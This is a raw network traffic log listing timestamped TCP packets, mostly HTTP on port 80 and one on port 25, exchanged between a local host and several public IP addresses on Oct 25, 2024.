Oct 25, 2024 11:18:19.870100021 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870122910 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870157003 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870170116 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870170116 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870188951 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870222092 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870254040 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870270967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870270967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870270967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870305061 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870309114 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870337963 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870372057 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870388031 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870405912 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870443106 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870476007 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870480061 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870480061 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870510101 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870543003 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870562077 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870575905 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870614052 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870630980 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870649099 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870681047 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870699883 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870699883 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870713949 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870748997 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870758057 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870771885 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870806932 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870815992 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870841026 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870858908 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870873928 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870906115 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870923042 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.870939016 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.870973110 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871006012 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871037006 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871037006 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871040106 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871069908 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871074915 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871108055 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871121883 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871121883 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871140957 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871174097 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871175051 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871175051 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871206999 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871239901 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871253967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871253967 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871273994 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871306896 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871316910 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871318102 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871356010 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871361971 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871396065 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871428013 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871460915 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871476889 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871494055 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871519089 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871526957 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871541977 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871560097 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871593952 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871611118 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871625900 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871659994 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871694088 CEST	80	53037	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.871702909 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871704102 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.871774912 CEST	53037	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.885833979 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.885878086 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.885911942 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.885943890 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.885960102 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.885960102 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.885960102 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.885977030 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.886009932 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.886018038 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.886018038 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.886044979 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.886077881 CEST	80	53063	122.128.109.107	192.168.2.5
Oct 25, 2024 11:18:19.886085987 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.886085987 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.886116982 CEST	80	52948	144.76.24.9	192.168.2.5
Oct 25, 2024 11:18:19.886188030 CEST	52948	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:18:19.886234045 CEST	53063	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:18:19.927758932 CEST	53069	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:19.933526993 CEST	80	53069	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:19.933588982 CEST	53069	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:19.934734106 CEST	53069	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:18:19.938905001 CEST	53024	25	192.168.2.5	87.248.97.31
Oct 25, 2024 11:18:19.940116882 CEST	80	53069	188.114.96.3	192.168.2.5
Oct 25, 2024 11:18:19.946320057 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946357012 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946409941 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946443081 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946455956 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946475029 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946479082 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946517944 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946517944 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946537018 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946569920 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946615934 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946624994 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946660995 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946695089 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946705103 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946748018 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946772099 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946824074 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946868896 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946876049 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946913004 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946932077 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946947098 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.946954012 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.946996927 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947155952 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947208881 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947266102 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947300911 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947318077 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947338104 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947354078 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947388887 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947400093 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947423935 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947434902 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947458029 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947474003 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947494984 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947504997 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947525978 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947541952 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947568893 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947880030 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947909117 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947942019 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.947947979 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947992086 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.947993040 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948040009 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948049068 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948086023 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948091984 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948170900 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948195934 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948247910 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948281050 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948293924 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948314905 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948348045 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948362112 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948381901 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948391914 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948419094 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948426008 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948463917 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948805094 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948856115 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.948921919 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948955059 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.948987961 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949011087 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949022055 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949029922 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949055910 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949058056 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949090004 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949095011 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949124098 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949126005 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949153900 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949168921 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949228048 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949522018 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949594975 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949629068 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.949642897 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.949673891 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.952255964 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.952311039 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:19.952373981 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:19.989542007 CEST	80	53065	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:19.989619017 CEST	53065	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:20.008613110 CEST	80	53066	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:20.010754108 CEST	53066	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:20.057281017 CEST	53066	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:20.057415009 CEST	53065	80	192.168.2.5	135.181.73.98
Oct 25, 2024 11:18:20.059384108 CEST	53070	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:18:20.062782049 CEST	80	53066	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:20.062812090 CEST	80	53065	135.181.73.98	192.168.2.5
Oct 25, 2024 11:18:20.063498974 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063551903 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063586950 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063643932 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063668966 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063704967 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063710928 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063746929 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063767910 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063780069 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063815117 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063831091 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063833952 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063878059 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063884974 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063920975 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.063927889 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063971996 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.063987970 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064028978 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064049006 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064065933 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064074039 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064101934 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064114094 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064152956 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064198017 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064203978 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064238071 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064250946 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064273119 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064285040 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064307928 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064330101 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064342976 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064362049 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064394951 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064397097 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064443111 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064448118 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064481974 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064502954 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064515114 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064526081 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064565897 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064574003 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064614058 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064618111 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064650059 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064680099 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064694881 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064704895 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064739943 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064745903 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064779043 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064791918 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064814091 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064831018 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064853907 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064870119 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064891100 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064904928 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064924955 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.064934969 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064971924 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.064977884 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065011978 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065021992 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065051079 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065067053 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065116882 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065150976 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065165043 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065184116 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065195084 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065221071 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065238953 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065253973 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065283060 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065291882 CEST	80	53070	96.91.204.114	192.168.2.5
Oct 25, 2024 11:18:20.065321922 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065341949 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065350056 CEST	53070	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:18:20.065352917 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065376043 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065385103 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065386057 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065419912 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065453053 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065475941 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065485001 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065504074 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065520048 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.065526009 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065565109 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.065839052 CEST	53070	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:18:20.068872929 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:18:20.069216967 CEST	53071	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:18:20.071805954 CEST	80	53070	96.91.204.114	192.168.2.5
Oct 25, 2024 11:18:20.074255943 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:18:20.074557066 CEST	80	53071	107.180.98.101	192.168.2.5
Oct 25, 2024 11:18:20.074620962 CEST	53071	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:18:20.074799061 CEST	53071	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:18:20.080248117 CEST	80	53071	107.180.98.101	192.168.2.5
Oct 25, 2024 11:18:20.082215071 CEST	53072	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:20.087651014 CEST	80	53072	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:20.087716103 CEST	53072	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:20.088540077 CEST	53072	80	192.168.2.5	69.163.239.62
Oct 25, 2024 11:18:20.093862057 CEST	80	53072	69.163.239.62	192.168.2.5
Oct 25, 2024 11:18:20.102191925 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102243900 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102294922 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102313995 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102329016 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102339983 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102354050 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102376938 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102377892 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102430105 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102431059 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102459908 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102474928 CEST	53045	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:18:20.102493048 CEST	80	53045	104.26.10.81	192.168.2.5
Oct 25, 2024 11:18:20.102504015 CEST	53045	80	192.168.2.5	104.26.10.81
